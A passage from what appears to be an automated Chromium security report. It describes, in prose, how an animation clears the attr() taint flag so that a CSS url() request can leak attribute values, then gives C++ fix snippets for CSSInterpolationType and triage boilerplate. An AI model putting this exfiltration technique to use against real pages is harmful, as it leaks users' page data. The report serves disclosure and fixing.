  4. Upon style computation, the base value is read, the animation composites onto it (washing away the taint), and the conditional rule evaluates --n as untainted. The browser then executes the url() request, exfiltrating the comparative state of the attribute value.

Suggested Fix

To prevent the loss of the attr() taint flag in InvalidatableInterpolation:

  1. Retrieve and check the base style’s CSSVariableData for taint in CSSInterpolationType::MaybeConvertUnderlyingValue():
    const CSSVariableData* underlying_data = style.GetVariableData(name, Registration().Inherits());
    bool is_underlying_tainted = underlying_data && underlying_data->IsAttrTainted();
    
  2. Propagate the taint status through the active CSSInterpolationEnvironment when applying invalidatable interpolations. If any of the active interpolations or the base style value are tainted, ensure environment.SetIsAttrTainted(true) is called prior to executing property builders.

Evaluated with Chrome root at commit: bf775e5d75cb9e1767e2cd02cc93efa0077d14a5


Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:

  • If you are familiar with the severity guidelines, you may adjust the severity.
  • If this is a false positive, and there’s no work to be done, please close as WAI.
  • If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.

Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

View on issue tracker